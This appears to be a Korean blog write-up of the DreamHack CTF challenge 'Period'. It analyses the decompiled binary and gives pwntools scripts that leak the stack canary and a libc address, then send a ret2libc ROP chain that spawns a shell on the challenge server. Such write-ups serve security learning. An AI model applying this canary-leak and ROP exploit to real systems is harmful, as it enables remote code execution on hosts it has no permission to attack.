DreamHack Period 풀이

·2024년 9월 24일
0

DreamHack

목록 보기
2/6

1. 바이너리 분석

다운 받은 폴더 안에는 도커 파일과 테스트 플래그 그리고 문제 바이너리 파일이 주어져 있다.
바이너리 파일을 IDA로 분석해보자.
main 함수는 run 함수를 호출한다.

run 함수의 구조는 다음과 같다.

unsigned __int64 run()
{
  int v1; // [rsp+Ch] [rbp-114h]
  char v2[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  writeln("Mirin, It's the End of Period with Period.");
  v2[0] = 46;
  while ( 1 )
  {
    while ( 1 )
    {
      writeln("1: read.");
      writeln("2: write.");
      writeln("3: clear.");
      write(1, "> ", 2uLL);
      v1 = readint();
      if ( v1 != 3 )
        break;
      cleara(v2, 256LL);
    }
    if ( v1 > 3 )
      break;
    if ( v1 == 1 )
    {
      writeln("Read: .");
      writeln(v2);
    }
    else
    {
      if ( v1 != 2 )
        break;
      writeln("Write: .");
      readln(v2);
    }
  }
  writeln("Invalid Command.");
  writeln("Finally, Just Watch the Curtain Fall.");
  return v3 - __readfsqword(0x28u);
}

코드를 보면 대략적으로 read write clear 라는 메뉴가 있음을 알 수 있다.
우리의 입력을 readint()라는 함수로 받고 있는데, 그 내부를 확인해보자.

int readint()
{
  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  readln(nptr);
  return atoi(nptr);
}

readint() 함수는 내부에서 readln() 함수를 호출한다.

__int64 __fastcall readln(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    read(0, (void *)(i + a1), 1uLL);
    result = *(unsigned __int8 *)(i + a1);
    if ( (_BYTE)result == '.' )
      break;
  }
  return result;
}

코드를 보면 256번 for문을 돌면서 그 인덱스의 값이 '.' 인지 확인하고 있다.
여기서 readint() 함수가 readln()에 전달하는 인자인 nptr은 배열의 크기가 24이므로 버퍼 오버 플로우가 발생한다.

다시 run 함수로 돌아가서 우리의 입력이 3일 때를 확인해보면, cleara() 함수를 호출한다는 것을 알 수 있다.

void *__fastcall cleara(void *a1, int a2)
{
  return memset(a1, '.', a2);
}

이 함수는 전달받은 배열을 전달받은 크기만큼 '.'으로 값을 초기화한다.

그리고 입력이 1일 때를 확인해보면

if ( v1 == 1 )
    {
      writeln("Read: .");
      writeln(v2);
    }

writeln 함수에 v2를 인자로 전달한다.

ssize_t __fastcall writeln(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    write(1, (const void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == '.' )
      break;
  }
  return write(1, &unk_2008, 1uLL);
}

이 함수는 무한 루프를 돌면서 *(_BYTE *)(i + a1)이 값이 '.' 일 때 까지 값을 출력해주는 것을 알 수 있다.

조건을 보아하니 이 함수에서 메모리 릭이 발생할 것이라는 추측을 해볼 수 있다.

이제 입력이 2일 때를 확인해보자.

if ( v1 != 2 )
        break;
      writeln("Write: .");
      readln((__int64)v2);
    }

readln 함수를 호출한다. 이 함수는 아까 봤던 readint 함수가 내부에서 호출하는 함수와 동일하다.

이제 이 바이너리의 분석을 다 했다. 이제 익스플로잇을 어떻게 할 것인지 생각해보자.

2. 익스플로잇 설계

바이너리에서 제공하는 win 함수나 flag 함수가 없고, 모든 보호기법이 다 걸려있다.
그렇기 때문에 일단 구할 수 있는 것부터 생각해보자.

문제에서 1(read)는 v2 배열에서 무한 루프를 돌며, 배열의 요소 중 . 이 나올 때 까지 출력해준다.
그리고 3(cleara)는 v2 배열을 256 크기만큼 . 으로 초기화 해준다.
2(write)는 v2 배열에 256만큼 입력을 할 수 있다.

이를 조합하면..
->3으로 v2 배열을 256만큼 . 으로 초기화한다.
->2로 v2 배열에 256만큼 쓴다.
->1로 출력한다.
이렇게 메모리 릭을 할 수 있다.

지금까지의 내용을 파이썬 코드로 작성하면 다음과 같다.

from pwn import *
p = process("./prob")

p.sendlineafter(b"> ",b"3.")
p.sendlineafter(b"> ",b"2.")
p.sendlineafter(b".",b'a'*255) #sendline이기 때문에 255+\x0a = 256
p.sendlineafter(b"> ",b'1.')

p.interactive()

이러면 여러 값들이 줄줄이 출력되는데 우리는 여기서 의미있는 값들을 빼내야 한다.
먼저 카나리를 찾아보자. IDA로 확인해본 v2와 카나리의 거리는 264(0x110-0x8)인데,
직접 gdb로 확인해보면 여기다 8바이트를 더해준 272라는 것을 알 수 있다.

카나리를 구하는 파이썬 코드는 다음과 같다.

from pwn import *


p = process("./prob")

p.sendlineafter(b"> ",b"3.")
p.sendlineafter(b"> ",b"2.")
p.sendlineafter(b".",b'a'*255)
p.sendlineafter(b"> ",b'1.')

p.recvn(273) # \x00 제거하기 위해 272 + 1 = 273
cnry = u64(b'\x00' + p.recvn(7))
print(hex(cnry))

p.interactive()

사실 . 이 아니면 그냥 계속 출력해주기에 272로 해도 상관 없을 것 같긴 하다.

그리고 gdb로 분석해보면 libc_start_main 주소가 존재한다는 것을 알 수 있다.
여기서 딱 떠올린게 RTL이다.
RTL 기법을 위한 오프셋을 구하기 위해 libc 파일이 필요하기 때문에 도커 환경을 구축해서 시도하는게 좋다.

libc_start_main+128 주소를 릭하기 위해 gdb로 이리저리 분석하다가 184만큼 받고 8바이트를 받으면 릭할 수 있다는 것을 알았다. 그럼 이제 라이브러리 베이스와 system 함수 주소를 구할 수 있다.

from pwn import *


p = remote("host3.dreamhack.games", 14628)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.sendlineafter(b"> ",b"3.")
p.sendlineafter(b"> ",b"2.")
p.sendlineafter(b".",b'a'*255)
p.sendlineafter(b"> ",b'1.')

#카나리 릭
p.recvn(273)
cnry = u64(b'\x00' + p.recvn(7))
print(hex(cnry))

#__libc_start_main+128 릭 -> 라이브러리 베이스 구하기
p.recvn(184)
libc_start_main_128 = u64(p.recvn(6) + b'\x00'*2)
print(hex(libc_start_main_128))
lb = libc_start_main_128 - (libc.symbols["__libc_start_main"]+128)
print(hex(lb))
system = lb + libc.symbols['system']
print(f"sys {hex(system)}")

p.interactive()

gdb로 확인한 카나리
순서대로, 릭한 카나리, libc_start_main+128, libc base, system 주소이다.

그럼 이제 필요한 것은 /bin/sh 문자열과 system 함수의 인자를 설정해주기 위한 pop rdi 가젯, 스택 정렬을 위한 ret 가젯이 필요하다.

pop rdi나 ret 같은 경우는 주로 코드 영역에 위치하는데, 코드 영역에 위치하는 애들은 pie base를 따로 구해서 계산해줘야 하기 때문에 매우 귀찮아진다.

그래서 그냥 이 가젯들을 전부 libc에서 찾아보자.

pop rdi는 쉽게 나온다. 하지만 그냥 ret만 존재하는 가젯은 없는 것 같아서 대신
이 가젯을 사용하기로 했다. 딱히 rax 값이 중요한게 아니라서..

이렇게 /bin/sh까지 해서 익스플로잇에 필요한 모든 요소가 다 모였다.

그럼 이제 이렇게 구한 걸로 어떻게 익스플로잇을 할까?
2(write)로 쓰는 건 안된다. for문이 256번 돌지만 v2 배열은 크기가 264이기 때문에 덮어씌울 수 없다.

이때 아까 확인했던 readint() 함수의 버퍼 오버 플로우를 활용해야 한다.
nptr 배열은 크기가 24이지만 for문이 256번 돌면서 read하기 때문에 주소를 덮어 씌울 수 있다.

nptr과 카나리의 거리는 IDA로 확인했을때 24(0x20-0x8)였는데, gdb로 확인해보면 23이라는 걸 알 수 있다.. IDA를 너무 믿어서는 안될거 같다.

3. 익스플로잇 코드

from pwn import *


p = remote("host3.dreamhack.games", 14628)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.sendlineafter(b"> ",b"3.")
p.sendlineafter(b"> ",b"2.")
p.sendlineafter(b".",b'a'*255)
p.sendlineafter(b"> ",b'1.')
p.recvn(273)
cnry = u64(b'\x00' + p.recvn(7))
print(hex(cnry))

p.recvn(184)
libc_start_main_128 = u64(p.recvn(6) + b'\x00'*2)
print(hex(libc_start_main_128))
lb = libc_start_main_128 - (libc.symbols["__libc_start_main"]+128)
print(hex(lb))
system = lb + libc.symbols['system']
print(f"sys {hex(system)}")
binsh = 0x1d8698 + lb
ret = 0x00000000000bab79 + lb
pop_rdi = lb + 0x000000000002a3e5
payload = b'a'*23 + p64(cnry) + b'a'* 8 +p64(pop_rdi) +p64(binsh) + p64(ret) +p64(system)
p.sendlineafter(b"> ",payload)
p.sendline(b".")
p.interactive()

profile
안녕하세요

0개의 댓글